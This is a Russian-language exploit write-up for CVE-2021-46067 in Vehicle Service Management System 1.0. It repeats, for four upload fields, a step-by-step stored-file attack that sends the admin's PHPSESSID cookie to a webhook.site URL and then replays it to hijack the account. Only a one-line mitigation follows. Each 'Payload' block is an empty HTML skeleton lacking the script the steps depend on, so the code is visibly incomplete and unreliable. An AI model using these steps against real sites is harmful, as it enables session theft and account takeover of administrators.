CVE-2021-46067
Название эксплойта: Vehicle Service Management System — «Множественная» кража cookie приводит к полному захвату учётной записи
Автор эксплойта: SANU P.L
CVE: CVE-2021-46067
CVSS: 9.8 КРИТИЧЕСКИЙ
Ссылки:
Описание:
В Vehicle Service Management System 1.0 злоумышленник может похитить cookie, что приводит к полному захвату учётной записи.
1. Vehicle Service Management System — «MyAccount» (/admin/?page=user)
Эксплойт:
- Войдите в панель администратора http://localhost/vehicle_service/admin
- Перейдите в раздел My Account http://localhost/vehicle_service/admin/?page=user
- Сгенерируйте URL вебхука — https://webhook.site
- Скопируйте уникальный URL вебхука и вставьте его в приведённый ниже HTML-код.
Payload:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- Сохраните приведённый выше HTML-код, например: Cookie Stealing.html
- В разделе My Account введите все необходимые данные и выберите HTML-файл в поле Avatar.
- Нажмите кнопку Update.
- Откройте изображение аватара в новой вкладке и проверьте статус вебхука.
- Мы получили запрос, содержащий PHPSESSID.
- Скопируйте значение PHPSESSID и откройте любой другой браузер.
- Перейдите в панель администратора http://localhost/vehicle_service/admin
- Проверьте значения cookie и замените значение PHPSESSID на скопированное значение PHPSESSID.
- Теперь откройте панель администратора http://localhost/vehicle_service/admin
- Успешный вход в учётную запись. Захват учётной записи выполнен успешно.
2. Vehicle Service Management System — «User List» (/admin/?page=user/manage_user)
Эксплойт:
- Войдите в панель администратора http://localhost/vehicle_service/admin
- Перейдите в раздел User List и нажмите кнопку Create New.
- Сгенерируйте URL вебхука — https://webhook.site
- Скопируйте уникальный URL вебхука и вставьте его в приведённый ниже HTML-код.
Payload:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- Сохраните приведённый выше HTML-код, например: Cookie Stealing.html
- В разделе Create New User введите все необходимые данные и выберите HTML-файл в поле Avatar.
- Нажмите кнопку Save.
- Откройте изображение аватара в новой вкладке и проверьте статус вебхука.
- Мы получили запрос, содержащий PHPSESSID.
- Скопируйте значение PHPSESSID и откройте любой другой браузер.
- Перейдите в панель администратора http://localhost/vehicle_service/admin
- Проверьте значения cookie и замените значение PHPSESSID на скопированное значение PHPSESSID.
- Теперь откройте панель администратора http://localhost/vehicle_service/admin
- Успешный вход в учётную запись. Захват учётной записи выполнен успешно.
3. Vehicle Service Management System — «Settings-System Logo» (/admin/?page=system_info)
Эксплойт:
- Войдите в панель администратора http://localhost/vehicle_service/admin
- Перейдите в раздел Settings http://localhost/vehicle_service/admin/?page=system_info
- Сгенерируйте URL вебхука — https://webhook.site
- Скопируйте уникальный URL вебхука и вставьте его в приведённый ниже HTML-код.
Payload:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- Сохраните приведённый выше HTML-код, например: Cookie Stealing.html
- В разделе Settings введите все необходимые данные и выберите HTML-файл в поле System Logo.
- Нажмите кнопку Update.
- Откройте изображение System Logo в новой вкладке и проверьте статус вебхука.
- Мы получили запрос, содержащий PHPSESSID.
- Скопируйте значение PHPSESSID и откройте любой другой браузер.
- Перейдите в панель администратора http://localhost/vehicle_service/admin
- Проверьте значения cookie и замените значение PHPSESSID на скопированное значение PHPSESSID.
- Теперь откройте панель администратора http://localhost/vehicle_service/admin
- Успешный вход в учётную запись. Захват учётной записи выполнен успешно.
4. Vehicle Service Management System — «Settings-Website Cover» (/admin/?page=system_info)
Эксплойт:
- Войдите в панель администратора http://localhost/vehicle_service/admin
- Перейдите в раздел Settings http://localhost/vehicle_service/admin/?page=system_info
- Сгенерируйте URL вебхука — https://webhook.site
- Скопируйте уникальный URL вебхука и вставьте его в приведённый ниже HTML-код.
Payload:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- Сохраните приведённый выше HTML-код, например: Cookie Stealing.html
- В разделе Settings введите все необходимые данные и выберите HTML-файл в поле Website Cover.
- Нажмите кнопку Update.
- Откройте изображение Website Cover в новой вкладке и проверьте статус вебхука.
- Мы получили запрос, содержащий PHPSESSID.
- Скопируйте значение PHPSESSID и откройте любой другой браузер.
- Перейдите в панель администратора http://localhost/vehicle_service/admin
- Проверьте значения cookie и замените значение PHPSESSID на скопированное значение PHPSESSID.
- Теперь откройте панель администратора http://localhost/vehicle_service/admin
- Успешный вход в учётную запись. Захват учётной записи выполнен успешно.
Воздействие:
Злоумышленник загружает вредоносный HTML-файл, который перенаправляет на сторонний веб-сайт, и cookie раскрываются в запросе. Это приводит к полному захвату учётной записи.
Меры по смягчению:
Рекомендуется проверять функциональность загрузки файлов и выполнять вторичные проверки в сессии.